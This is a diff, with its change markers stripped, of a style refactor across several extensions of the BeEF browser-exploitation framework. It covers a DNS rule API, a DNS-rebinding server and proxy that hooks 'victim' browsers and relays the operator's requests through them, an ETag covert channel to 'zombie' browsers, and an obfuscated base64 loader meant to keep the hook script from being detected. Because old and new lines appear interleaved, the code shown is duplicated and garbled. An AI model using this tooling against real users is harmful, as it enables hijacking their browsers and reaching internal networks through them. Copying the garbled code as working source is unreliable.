serial: response[2],
refresh: response[3],
retry: response[4],
expire: response[5],
minimum: response[6]
}
sprintf "t.respond!(Resolv::DNS::Name.create('%<mname>s'), " +
"Resolv::DNS::Name.create('%<rname>s'), " +
'%<serial>d, ' +
'%<refresh>d, ' +
'%<retry>d, ' +
'%<expire>d, ' +
'%<minimum>d)',
data
format "t.respond!(Resolv::DNS::Name.create('%<mname>s'), " +
"Resolv::DNS::Name.create('%<rname>s'), " +
'%<serial>d, ' +
'%<refresh>d, ' +
'%<retry>d, ' +
'%<expire>d, ' +
'%<minimum>d)',
data
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
sprintf "t.fail!(:%s)", response.to_sym
format 't.fail!(:%s)', response.to_sym
else
raise InvalidDnsResponseError, 'SOA'
end
elsif resource == Resolv::DNS::Resource::IN::WKS
if response.is_a?(Array)
unless BeEF::Filters.is_valid_ip?(resource[0]) &&
resource[1].is_a?(Integer) &&
resource[2].is_a?(Integer)
raise InvalidDnsResponseError, 'WKS' unless resource.is_a?(String)
if !BeEF::Filters.is_valid_ip?(resource[0]) &&
resource[1].is_a?(Integer) &&
resource[2].is_a?(Integer) && !resource.is_a?(String)
raise InvalidDnsResponseError, 'WKS'
end
data = {
:address => response[0],
:protocol => response[1],
:bitmap => response[2]
address: response[0],
protocol: response[1],
bitmap: response[2]
}
sprintf "t.respond!('%<address>s', %<protocol>d, %<bitmap>d)", data
format "t.respond!('%<address>s', %<protocol>d, %<bitmap>d)", data
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
sprintf "t.fail!(:%s)", response.to_sym
format 't.fail!(:%s)', response.to_sym
else
raise InvalidDnsResponseError, 'WKS'
end
else
raise UnknownDnsResourceError
end
src
end
# Raised when an invalid pattern is given.
class InvalidDnsPatternError < StandardError
DEFAULT_MESSAGE = 'Failed to add DNS rule with invalid pattern'
def initialize(message = nil)
super(message || DEFAULT_MESSAGE)
end
end
# Raised when a response is not valid for the given DNS resource record.
class InvalidDnsResponseError < StandardError
def initialize(message = nil)
str = "Failed to add DNS rule with invalid response for %s resource record", message
message = sprintf str, message unless message.nil?
str = 'Failed to add DNS rule with invalid response for %s resource record', message
message = format str, message unless message.nil?
super(message)
end
end
# Raised when an unknown DNS resource record is given.
class UnknownDnsResourceError < StandardError
DEFAULT_MESSAGE = 'Failed to add DNS rule with unknown resource record'
def initialize(message = nil)
super(message || DEFAULT_MESSAGE)
end
end
end
end
end
end

View File

@@ -6,10 +6,8 @@
module BeEF
module Extension
module Dns
# This class handles the routing of RESTful API requests that query BeEF's DNS server
class DnsRest < BeEF::Core::Router::Router
# Filters out bad requests before performing any routing
before do
@dns ||= BeEF::Extension::Dns::Server.instance
@@ -27,157 +25,136 @@ module BeEF
# Returns the entire current DNS ruleset
get '/ruleset' do
begin
ruleset = @dns.get_ruleset
count = ruleset.length
ruleset = @dns.get_ruleset
count = ruleset.length
result = {}
result[:count] = count
result[:ruleset] = ruleset
result.to_json
rescue StandardError => e
print_error "Internal error while retrieving DNS ruleset (#{e.message})"
halt 500
end
result = {}
result[:count] = count
result[:ruleset] = ruleset
result.to_json
rescue StandardError => e
print_error "Internal error while retrieving DNS ruleset (#{e.message})"
halt 500
end
# Returns a specific rule given its id
get '/rule/:id' do
begin
id = params[:id]
id = params[:id]
rule = @dns.get_rule(id)
raise InvalidParamError, 'id' if rule.nil?
halt 404 if rule.empty?
rule = @dns.get_rule(id)
raise InvalidParamError, 'id' if rule.nil?
rule.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving DNS rule with id #{id} (#{e.message})"
halt 500
end
halt 404 if rule.empty?
rule.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving DNS rule with id #{id} (#{e.message})"
halt 500
end
# Adds a new DNS rule
post '/rule' do
begin
body = JSON.parse(request.body.read)
body = JSON.parse(request.body.read)
pattern = body['pattern']
resource = body['resource']
response = body['response']
pattern = body['pattern']
resource = body['resource']
response = body['response']
# Validate required JSON keys
if pattern.nil? || pattern.eql?('')
raise InvalidJsonError, 'Empty "pattern" key passed to endpoint /api/dns/rule'
end
if resource !~ /\A[A-Z]+\Z/
raise InvalidJsonError, 'Invalid "resource" key passed to endpoint /api/dns/rule'
end
unless response.is_a?(Array)
raise InvalidJsonError, 'Non-array "response" key passed to endpoint /api/dns/rule'
end
if response.empty?
raise InvalidJsonError, 'Empty "response" array passed to endpoint /api/dns/rule'
end
# Validate required JSON keys
raise InvalidJsonError, 'Empty "pattern" key passed to endpoint /api/dns/rule' if pattern.nil? || pattern.eql?('')
raise InvalidJsonError, 'Invalid "resource" key passed to endpoint /api/dns/rule' if resource !~ /\A[A-Z]+\Z/
raise InvalidJsonError, 'Non-array "response" key passed to endpoint /api/dns/rule' unless response.is_a?(Array)
raise InvalidJsonError, 'Empty "response" array passed to endpoint /api/dns/rule' if response.empty?
# Validate resource
case resource
when "A"
dns_resource = Resolv::DNS::Resource::IN::A
when "AAAA"
dns_resource = Resolv::DNS::Resource::IN::AAAA
when "CNAME"
dns_resource = Resolv::DNS::Resource::IN::CNAME
when "HINFO"
dns_resource = Resolv::DNS::Resource::IN::HINFO
when "MINFO"
dns_resource = Resolv::DNS::Resource::IN::MINFO
when "MX"
dns_resource = Resolv::DNS::Resource::IN::MX
when "NS"
dns_resource = Resolv::DNS::Resource::IN::NS
when "PTR"
dns_resource = Resolv::DNS::Resource::IN::PTR
when "SOA"
dns_resource = Resolv::DNS::Resource::IN::SOA
when "TXT"
dns_resource = Resolv::DNS::Resource::IN::TXT
when "WKS"
dns_resource = Resolv::DNS::Resource::IN::WKS
else
raise InvalidJsonError, 'Invalid "resource" key passed to endpoint /api/dns/rule'
end
# Add rule
id = @dns.add_rule(
:pattern => pattern,
:resource => dns_resource,
:response => response
)
# Return result
result = {}
result['success'] = true
result['id'] = id
result.to_json
rescue InvalidJsonError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while adding DNS rule (#{e.message})"
halt 500
# Validate resource
case resource
when 'A'
dns_resource = Resolv::DNS::Resource::IN::A
when 'AAAA'
dns_resource = Resolv::DNS::Resource::IN::AAAA
when 'CNAME'
dns_resource = Resolv::DNS::Resource::IN::CNAME
when 'HINFO'
dns_resource = Resolv::DNS::Resource::IN::HINFO
when 'MINFO'
dns_resource = Resolv::DNS::Resource::IN::MINFO
when 'MX'
dns_resource = Resolv::DNS::Resource::IN::MX
when 'NS'
dns_resource = Resolv::DNS::Resource::IN::NS
when 'PTR'
dns_resource = Resolv::DNS::Resource::IN::PTR
when 'SOA'
dns_resource = Resolv::DNS::Resource::IN::SOA
when 'TXT'
dns_resource = Resolv::DNS::Resource::IN::TXT
when 'WKS'
dns_resource = Resolv::DNS::Resource::IN::WKS
else
raise InvalidJsonError, 'Invalid "resource" key passed to endpoint /api/dns/rule'
end
# Add rule
id = @dns.add_rule(
pattern: pattern,
resource: dns_resource,
response: response
)
# Return result
result = {}
result['success'] = true
result['id'] = id
result.to_json
rescue InvalidJsonError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while adding DNS rule (#{e.message})"
halt 500
end
# Removes a rule given its id
delete '/rule/:id' do
begin
id = params[:id]
id = params[:id]
removed = @dns.remove_rule!(id)
raise InvalidParamError, 'id' if removed.nil?
removed = @dns.remove_rule!(id)
raise InvalidParamError, 'id' if removed.nil?
result = {}
result['success'] = removed
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while removing DNS rule with id #{id} (#{e.message})"
halt 500
end
result = {}
result['success'] = removed
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while removing DNS rule with id #{id} (#{e.message})"
halt 500
end
# Raised when invalid JSON input is passed to an /api/dns handler.
class InvalidJsonError < StandardError
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/dns handler'
def initialize(message = nil)
super(message || DEFAULT_MESSAGE)
end
end
# Raised when an invalid named parameter is passed to an /api/dns handler.
class InvalidParamError < StandardError
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/dns handler'
def initialize(message = nil)
str = "Invalid \"%s\" parameter passed to /api/dns handler"
message = sprintf str, message unless message.nil?
str = 'Invalid "%s" parameter passed to /api/dns handler'
message = format str, message unless message.nil?
super(message)
end
end
end
end
end
end

View File

@@ -1,28 +1,25 @@
module BeEF
module Extension
module DNSRebinding
module API
module ServHandler
BeEF::API::Registrar.instance.register(
BeEF::Extension::DNSRebinding::API::ServHandler,
BeEF::API::Server,
'pre_http_start'
)
def self.pre_http_start(http_hook_server)
config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding')
address_http = config['address_http_internal']
address_proxy = config['address_proxy_internal']
port_http = config['port_http']
port_proxy = config['port_proxy']
Thread.new { BeEF::Extension::DNSRebinding::Server.run_server(address_http, port_http) }
Thread.new { BeEF::Extension::DNSRebinding::Proxy.run_server(address_proxy, port_proxy) }
end
module Extension
module DNSRebinding
module API
module ServHandler
BeEF::API::Registrar.instance.register(
BeEF::Extension::DNSRebinding::API::ServHandler,
BeEF::API::Server,
'pre_http_start'
)
def self.pre_http_start(_http_hook_server)
config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding')
address_http = config['address_http_internal']
address_proxy = config['address_proxy_internal']
port_http = config['port_http']
port_proxy = config['port_proxy']
Thread.new { BeEF::Extension::DNSRebinding::Server.run_server(address_http, port_http) }
Thread.new { BeEF::Extension::DNSRebinding::Proxy.run_server(address_proxy, port_proxy) }
end
end
end
end
end
end
end
end
end

View File

@@ -1,230 +1,225 @@
module BeEF
module Extension
module DNSRebinding
#Very simple HTTP server. Its task is only hook victim
class Server
module Extension
module DNSRebinding
# Very simple HTTP server. Its task is only hook victim
class Server
@debug_mode = false
def self.log(msg)
if @debug_mode
STDERR.puts msg.to_s
end
warn msg.to_s if @debug_mode
end
def self.run_server(address, port)
server = TCPServer.new(address, port)
@debug_mode = BeEF::Core::Configuration.instance.get("beef.extension.dns_rebinding.debug_mode")
loop do
s = server.accept
Thread.new(s) do |socket|
victim_ip = socket.peeraddr[2].to_s
server = TCPServer.new(address, port)
@debug_mode = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding.debug_mode')
loop do
s = server.accept
Thread.new(s) do |socket|
victim_ip = socket.peeraddr[2].to_s
log "-------------------------------\n"
log "[Server] Incoming request from "+victim_ip+"(Victim)\n"
log "-------------------------------\n"
log '[Server] Incoming request from ' + victim_ip + "(Victim)\n"
response = File.read(File.expand_path('../views/index.html', __FILE__))
configuration = BeEF::Core::Configuration.instance
response = File.read(File.expand_path('views/index.html', __dir__))
configuration = BeEF::Core::Configuration.instance
proto = configuration.get("beef.http.https.enable") == true ? "https" : "http"
hook_file = configuration.get("beef.http.hook_file")
hook_uri = "#{proto}://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}#{hook_file}"
response.sub!('path_to_hookjs_template', hook_uri)
proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http'
hook_file = configuration.get('beef.http.hook_file')
hook_uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}#{hook_file}"
start_string = socket.gets
socket.print "HTTP/1.1 200 OK\r\n" +
"Content-Type: text/html\r\n" +
"Content-Length: #{response.bytesize}\r\n" +
"Connection: close\r\n"
socket.print "\r\n"
socket.print response
socket.close
response.sub!('path_to_hookjs_template', hook_uri)
#Indicate that victim load all javascript and we can block it with iptables.
dr_config = configuration.get("beef.extension.dns_rebinding")
if start_string.include?("load")
log "[Server] Block with iptables\n"
port_http = dr_config['port_http']
if BeEF::Filters::is_valid_ip?(victim_ip) && port_http.kind_of?(Integer)
IO.popen(["iptables","-A","INPUT","-s","#{victim_ip}","-p","tcp","--dport","#{port_http}","-j","REJECT","--reject-with","tcp-reset"], 'r+'){|io|}
else
print_error "[Dns_Rebinding] victim_ip or port_http values are illegal."
end
end
log "-------------------------------\n"
start_string = socket.gets
socket.print "HTTP/1.1 200 OK\r\n" +
"Content-Type: text/html\r\n" +
"Content-Length: #{response.bytesize}\r\n" +
"Connection: close\r\n"
socket.print "\r\n"
socket.print response
socket.close
# Indicate that victim load all javascript and we can block it with iptables.
dr_config = configuration.get('beef.extension.dns_rebinding')
if start_string.include?('load')
log "[Server] Block with iptables\n"
port_http = dr_config['port_http']
if BeEF::Filters.is_valid_ip?(victim_ip) && port_http.is_a?(Integer)
IO.popen(['iptables', '-A', 'INPUT', '-s', victim_ip.to_s, '-p', 'tcp', '--dport', port_http.to_s, '-j', 'REJECT', '--reject-with', 'tcp-reset'],
'r+') do |io|
end
else
print_error '[Dns_Rebinding] victim_ip or port_http values are illegal.'
end
end
log "-------------------------------\n"
end
end
end
end
end
end
class Proxy
class Proxy
@queries = Queue.new
@responses = {}
@mutex_responses = nil
@mutex_queries = nil
@debug_mode = false
def self.send_http_response(socket, response, heads={})
socket.print "HTTP/1.1 200 OK\r\n"
def self.send_http_response(socket, response, heads = {})
socket.print "HTTP/1.1 200 OK\r\n"
headers = {}
headers["Content-Type"]="text/html"
headers["Content-Length"]=response.size.to_s
headers["Connection"]="close"
headers["Access-Control-Allow-Origin"]="*"
headers["Access-Control-Allow-Methods"]="POST, GET, OPTIONS"
headers["Access-Control-Expose-Headers"]="Content-Type, method, path"
headers["Access-Control-Allow-Headers"]="Content-Type, method, path"
headers = {}
headers['Content-Type'] = 'text/html'
headers['Content-Length'] = response.size.to_s
headers['Connection'] = 'close'
headers['Access-Control-Allow-Origin'] = '*'
headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'
headers['Access-Control-Expose-Headers'] = 'Content-Type, method, path'
headers['Access-Control-Allow-Headers'] = 'Content-Type, method, path'
headers_a = heads.to_a
headers_a.each do |header, value|
headers[header] = value
end
headers_a = heads.to_a
headers_a.each do |header, value|
headers[header] = value
end
headers.to_a.each do |header, value|
socket.print header+": "+value+"\r\n"
end
headers.to_a.each do |header, value|
socket.print header + ': ' + value + "\r\n"
end
socket.print "\r\n"
socket.print response
socket.print "\r\n"
socket.print response
end
def self.log(log_message)
if @debug_mode
STDERR.puts log_message
end
warn log_message if @debug_mode
end
def self.read_http_message(socket)
message = {}
message['start_string'] = socket.gets.chomp
message['headers'] = {}
message['response'] = ""
message = {}
message['start_string'] = socket.gets.chomp
message['headers'] = {}
message['response'] = ''
c = socket.gets
while c != "\r\n"
name = c[/(.+): (.+)/, 1]
value = c[/(.+): (.+)/, 2]
message['headers'][name] = value.chomp
c = socket.gets
while c != "\r\n" do
name = c[/(.+): (.+)/, 1]
value = c[/(.+): (.+)/, 2]
message['headers'][name] = value.chomp
c = socket.gets
end
length = message['headers']['Content-Length']
if length
#Ruby read() doesn't return while not read all <length> byte
resp = socket.read(length.to_i)
message['response'] = resp
end
return message
end
length = message['headers']['Content-Length']
if length
# Ruby read() doesn't return while not read all <length> byte
resp = socket.read(length.to_i)
message['response'] = resp
end
message
end
def self.handle_victim(socket, http_message)
log "[Victim]request from victim\n"
log http_message['start_string'].to_s+"\n"
log "[Victim]request from victim\n"
log http_message['start_string'].to_s + "\n"
if http_message['start_string'].include?("POST")
#Get result from POST query
log "[Victim]Get the result of last query\n"
if http_message['start_string'].include?('POST')
# Get result from POST query
log "[Victim]Get the result of last query\n"
#Read query on which asked victim
query = http_message['start_string'][/path=([^HTTP]+)/,1][0..-2]
log "[Victim]asked path: "+query+"\n"
# Read query on which asked victim
query = http_message['start_string'][/path=([^HTP]+)/, 1][0..-2]
log '[Victim]asked path: ' + query + "\n"
length = http_message['headers']['Content-Length'].to_i
content_type = http_message['headers']['Content-Type']
log "[Victim]Content-type: "+content_type.to_s+"\n"
log "[Vicitm]Length: "+length.to_s+"\n"
response = http_message['response']
log "[Victim]Get content!\n"
length = http_message['headers']['Content-Length'].to_i
content_type = http_message['headers']['Content-Type']
log '[Victim]Content-type: ' + content_type.to_s + "\n"
log '[Vicitm]Length: ' + length.to_s + "\n"
send_http_response(socket, "ok")
socket.close
response = http_message['response']
log "[Victim]Get content!\n"
log "[Victim]Close connection POST\n"
log "--------------------------------\n"
send_http_response(socket, 'ok')
socket.close
@mutex_responses.lock
@responses[query] = [content_type, response]
@mutex_responses.unlock
elsif http_message['start_string'].include?("OPTIONS")
send_http_response(socket, "")
socket.close
log "[Victim]Respond on OPTIONS reques\n"
log "--------------------------------\n"
else
#Look for queues from beef owner
log "[Victim]Waiting for next query..\n"
while @queries.size == 0
end
#Get the last query
@mutex_queries.lock
log "[Victim]Get the last query\n"
last_query = @queries.pop
log "[Victim]Last query:"+last_query.to_s+"\n"
@mutex_queries.unlock
response = last_query[2]
send_http_response(socket, response, {'method'=>last_query[0], 'path'=>last_query[1]})
log "[Victim]Send next query to victim's browser\n"
log "---------------------------------------------\n"
socket.close
end
end
#Handle request from BeEF owner
def self.handle_owner(socket, http_message)
log "[Owner]Request from owner\n"
path = http_message['start_string'][/(\/[^HTTP]+)/, 1][0..-2]
if http_message['start_string'].include?("GET")
if path != nil
log "[Owner]Need path: "+path+"\n"
@queries.push(['GET', path, ''])
end
elsif http_message['start_string'].include?("POST")
log "[Owner]Get POST request\n"
if path != nil
@queries.push(['POST', path, http_message['response']])
end
end
#Waiting for response, this check should not conflict with thread 2
while @responses[path] == nil
end
log "[Victim]Close connection POST\n"
log "--------------------------------\n"
@mutex_responses.lock
log "[Owner]Get the response\n"
response_a = @responses[path]
@responses[query] = [content_type, response]
@mutex_responses.unlock
response = response_a[1]
content_type = response_a[0]
send_http_response(socket, response, {'Content-Type'=>content_type})
log "[Owner]Send response to owner\n"
log "-------------------------------\n"
elsif http_message['start_string'].include?('OPTIONS')
send_http_response(socket, '')
socket.close
log "[Victim]Respond on OPTIONS reques\n"
log "--------------------------------\n"
else
# Look for queues from beef owner
log "[Victim]Waiting for next query..\n"
while @queries.size == 0
end
# Get the last query
@mutex_queries.lock
log "[Victim]Get the last query\n"
last_query = @queries.pop
log '[Victim]Last query:' + last_query.to_s + "\n"
@mutex_queries.unlock
response = last_query[2]
send_http_response(socket, response, { 'method' => last_query[0], 'path' => last_query[1] })
log "[Victim]Send next query to victim's browser\n"
log "---------------------------------------------\n"
socket.close
end
end
# Handle request from BeEF owner
def self.handle_owner(socket, http_message)
log "[Owner]Request from owner\n"
path = http_message['start_string'][%r{(/[^HTP]+)}, 1][0..-2]
if http_message['start_string'].include?('GET')
unless path.nil?
log '[Owner]Need path: ' + path + "\n"
@queries.push(['GET', path, ''])
end
elsif http_message['start_string'].include?('POST')
log "[Owner]Get POST request\n"
@queries.push(['POST', path, http_message['response']]) unless path.nil?
end
# Waiting for response, this check should not conflict with thread 2
while @responses[path].nil?
end
@mutex_responses.lock
log "[Owner]Get the response\n"
response_a = @responses[path]
@mutex_responses.unlock
response = response_a[1]
content_type = response_a[0]
send_http_response(socket, response, { 'Content-Type' => content_type })
log "[Owner]Send response to owner\n"
log "-------------------------------\n"
socket.close
end
def self.run_server(address, port)
@server = TCPServer.new(address, port)
@mutex_responses = Mutex.new
@mutex_queries = Mutex.new
@debug_mode = BeEF::Core::Configuration.instance.get("beef.extension.dns_rebinding.debug_mode")
loop do
s = @server.accept
Thread.new(s) do |socket|
http_message = read_http_message(socket)
if http_message['start_string'].include?("from_victim")
handle_victim(socket, http_message)
else
handle_owner(socket, http_message)
end
end
@server = TCPServer.new(address, port)
@mutex_responses = Mutex.new
@mutex_queries = Mutex.new
@debug_mode = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding.debug_mode')
loop do
s = @server.accept
Thread.new(s) do |socket|
http_message = read_http_message(socket)
if http_message['start_string'].include?('from_victim')
handle_victim(socket, http_message)
else
handle_owner(socket, http_message)
end
end
end
end
end
end
end
end
end
end

View File

@@ -1,16 +1,14 @@
module BeEF
module Extension
module DNSRebinding
module Extension
module DNSRebinding
extend BeEF::API::Extension
extend BeEF::API::Extension
@short_name = 'DNS Rebinding'
@full_name = 'DNS Rebinding'
@description = 'DNS Rebinding extension'
end
end
@short_name = 'DNS Rebinding'
@full_name = 'DNS Rebinding'
@description = 'DNS Rebinding extension'
end
end
end
require 'extensions/dns_rebinding/api.rb'
require 'extensions/dns_rebinding/dns_rebinding.rb'
require 'extensions/dns_rebinding/api'
require 'extensions/dns_rebinding/dns_rebinding'

View File

@@ -4,25 +4,22 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module ETag
module API
module ETagHandler
BeEF::API::Registrar.instance.register(
module Extension
module ETag
module API
module ETagHandler
BeEF::API::Registrar.instance.register(
BeEF::Extension::ETag::API::ETagHandler,
BeEF::API::Server,
'mount_handler'
)
)
def self.mount_handler(beef_server)
beef_server.mount('/etag', BeEF::Extension::ETag::ETagWebServer.new!)
print_info "ETag Server: /etag"
def self.mount_handler(beef_server)
beef_server.mount('/etag', BeEF::Extension::ETag::ETagWebServer.new!)
print_info 'ETag Server: /etag'
end
end
end
end
end
end
end
end
end

View File

@@ -4,60 +4,58 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module ETag
module Extension
module ETag
require 'sinatra/base'
require 'singleton'
require 'sinatra/base'
require 'singleton'
class ETagMessages
class ETagMessages
include Singleton
attr_accessor :messages
def initialize()
@messages={}
def initialize
@messages = {}
end
end
class ETagWebServer < Sinatra::Base
end
class ETagWebServer < Sinatra::Base
def create_ET_header
inode = File.stat(__FILE__).ino
size = 3
mtime = (Time.now.to_f * 1000000).to_i
return "#{inode.to_s(16)}L-#{size.to_s(16)}L-#{mtime.to_s(16)}L"
inode = File.stat(__FILE__).ino
size = 3
mtime = (Time.now.to_f * 1_000_000).to_i
"#{inode.to_s(16)}L-#{size.to_s(16)}L-#{mtime.to_s(16)}L"
end
get '/:id/start' do
data = ETagMessages.instance.messages[params[:id].to_i]
$etag_server_state = {} unless defined?($etag_server_state)
$etag_server_state[params[:id]] = {}
$etag_server_state[params[:id]][:cur_bit] = -1
$etag_server_state[params[:id]][:last_header] = create_ET_header
$etag_server_state[params[:id]][:message] = data
headers "ETag" => $etag_server_state[params[:id]][:last_header]
body "Message start"
data = ETagMessages.instance.messages[params[:id].to_i]
$etag_server_state = {} unless defined?($etag_server_state)
$etag_server_state[params[:id]] = {}
$etag_server_state[params[:id]][:cur_bit] = -1
$etag_server_state[params[:id]][:last_header] = create_ET_header
$etag_server_state[params[:id]][:message] = data
headers 'ETag' => $etag_server_state[params[:id]][:last_header]
body 'Message start'
end
get '/:id' do
return "Not started yet" if !defined?($etag_server_state) || $etag_server_state[params[:id]].nil?
if $etag_server_state[params[:id]][:cur_bit] < $etag_server_state[params[:id]][:message].length - 1
$etag_server_state[params[:id]][:cur_bit] += 1
else
$etag_server_state.delete(params[:id])
status 404
return "Bing"
end
if $etag_server_state[params[:id]][:message][$etag_server_state[params[:id]][:cur_bit]] == '1'
$etag_server_state[params[:id]][:last_header] = create_ET_header
end
get '/:id' do
return 'Not started yet' if !defined?($etag_server_state) || $etag_server_state[params[:id]].nil?
headers "ETag" => $etag_server_state[params[:id]][:last_header]
body "Bit"
if $etag_server_state[params[:id]][:cur_bit] < $etag_server_state[params[:id]][:message].length - 1
$etag_server_state[params[:id]][:cur_bit] += 1
else
$etag_server_state.delete(params[:id])
status 404
return 'Bing'
end
$etag_server_state[params[:id]][:last_header] = create_ET_header if $etag_server_state[params[:id]][:message][$etag_server_state[params[:id]][:cur_bit]] == '1'
headers 'ETag' => $etag_server_state[params[:id]][:last_header]
body 'Bit'
end
end
end
end
end
end
end
end

View File

@@ -4,20 +4,18 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module ETag
module Extension
module ETag
extend BeEF::API::Extension
extend BeEF::API::Extension
@short_name = 'ETag'
@full_name = 'Server-to-Client ETag-based Covert Timing Channel'
@description = 'This extension provides a custom BeEF\'s HTTP server ' +
'that implement unidirectional covert timing channel from ' +
'BeEF communication server to zombie browser over Etag header'
end
end
@short_name = 'ETag'
@full_name = 'Server-to-Client ETag-based Covert Timing Channel'
@description = 'This extension provides a custom BeEF HTTP server ' \
'that implements unidirectional covert timing channel from ' \
'BeEF communication server to zombie browser over Etag header.'
end
end
end
require 'extensions/etag/api.rb'
require 'extensions/etag/etag.rb'
require 'extensions/etag/api'
require 'extensions/etag/etag'

View File

@@ -14,6 +14,7 @@ module BeEF
def initialize
return unless @@enabled
@techniques ||= load_techniques
if @techniques.empty?
@@ -40,7 +41,7 @@ module BeEF
end
chain
rescue => e
rescue StandardError => e
print_error "[Evasion] Failed to load obfuscation technique chain: #{e.message}"
[]
end
@@ -52,7 +53,7 @@ module BeEF
def add_bootstrapper
bootstrap = ''
# add stuff at the end, only once (when serving the initial init javascript)
# add stuff at the end, only once (when serving the initial init javascript)
@techniques.each do |technique|
# Call the "execute" method of the technique module, passing the input and update
# the input in preperation for the next technique in the chain
@@ -64,7 +65,7 @@ module BeEF
end
bootstrap
rescue => e
rescue StandardError => e
print_error "[Evasion] Failed to bootstrap obfuscation technique: #{e.message}"
print_error e.backtrace
end
@@ -81,7 +82,7 @@ module BeEF
print_debug "[Evasion] Obfuscation completed (#{output.length} bytes)"
output
rescue => e
rescue StandardError => e
print_error "[Evasion] Failed to apply obfuscation technique: #{e.message}"
print_error e.backtrace
end
@@ -89,4 +90,3 @@ module BeEF
end
end
end

View File

@@ -4,19 +4,19 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Evasion
extend BeEF::API::Extension
module Extension
module Evasion
extend BeEF::API::Extension
@short_name = 'evasion'
@full_name = 'Evasion'
@description = 'Contains Evasion and Obfuscation techniques to prevent the likelihood that BeEF will be detected'
end
end
@short_name = 'evasion'
@full_name = 'Evasion'
@description = 'Contains Evasion and Obfuscation techniques to prevent the likelihood that BeEF will be detected'
end
end
end
require 'extensions/evasion/evasion'
#require 'extensions/evasion/obfuscation/scramble'
# require 'extensions/evasion/obfuscation/scramble'
require 'extensions/evasion/obfuscation/minify'
require 'extensions/evasion/obfuscation/base_64'
require 'extensions/evasion/obfuscation/whitespace'

View File

@@ -19,16 +19,15 @@ module BeEF
'var _0x33db=["\x61\x74\x6F\x62","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D","","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68","\x6A\x6F\x69\x6E"];function dec(_0x487fx2){if(window[_0x33db[0]]){return atob(_0x487fx2);} ;var _0x487fx3=_0x33db[1];var _0x487fx4,_0x487fx5,_0x487fx6,_0x487fx7,_0x487fx8,_0x487fx9,_0x487fxa,_0x487fxb,_0x487fxc=0,_0x487fxd=0,dec=_0x33db[2],_0x487fxe=[];if(!_0x487fx2){return _0x487fx2;} ;_0x487fx2+=_0x33db[2];do{_0x487fx7=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx8=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx9=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxa=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxb=_0x487fx7<<18|_0x487fx8<<12|_0x487fx9<<6|_0x487fxa;_0x487fx4=_0x487fxb>>16&0xff;_0x487fx5=_0x487fxb>>8&0xff;_0x487fx6=_0x487fxb&0xff;if(_0x487fx9==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4);} else {if(_0x487fxa==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5);} else {_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5,_0x487fx6);} ;} ;} while(_0x487fxc<_0x487fx2[_0x33db[6]]);;dec=_0x487fxe[_0x33db[7]](_0x33db[2]);return dec;};'
end
def execute(input, config)
def execute(input, _config)
encoded = Base64.strict_encode64(input)
# basically, use atob if supported otherwise a normal base64 JS implementation (ie.: IE :-)
var_name = BeEF::Core::Crypto::random_alphanum_string(3)
var_name = BeEF::Core::Crypto.random_alphanum_string(3)
input = "var #{var_name}=\"#{encoded}\";[].constructor.constructor(dec(#{var_name}))();"
print_debug "[OBFUSCATION - Base64] Javascript has been base64 encoded"
print_debug '[OBFUSCATION - Base64] Javascript has been base64 encoded'
input
end
end
end
end
end

View File

@@ -16,10 +16,10 @@ module BeEF
def execute(input, config)
opts = {
:output => {
output: {
comments: :none
},
:compress => {
compress: {
# show warnings in debug mode
warnings: (config.get('beef.debug') ? true : false),
# remove dead code
@@ -31,9 +31,9 @@ module BeEF
}
}
output = Uglifier.compile(input, opts)
print_debug "[OBFUSCATION - Minifier] JavaScript has been minified"
print_debug '[OBFUSCATION - Minifier] JavaScript has been minified'
output
rescue => e
rescue StandardError => e
print_error "[OBFUSCATION - Minifier] JavaScript couldn't be minified: #{e.messsage}"
input
end
@@ -41,4 +41,3 @@ module BeEF
end
end
end

View File

@@ -18,29 +18,29 @@ module BeEF
to_scramble = config.get('beef.extension.evasion.scramble')
to_scramble.each do |var, value|
if var == value
# Variables have not been scrambled yet
mod_var = BeEF::Core::Crypto::random_alphanum_string(3)
@output.gsub!(var,mod_var)
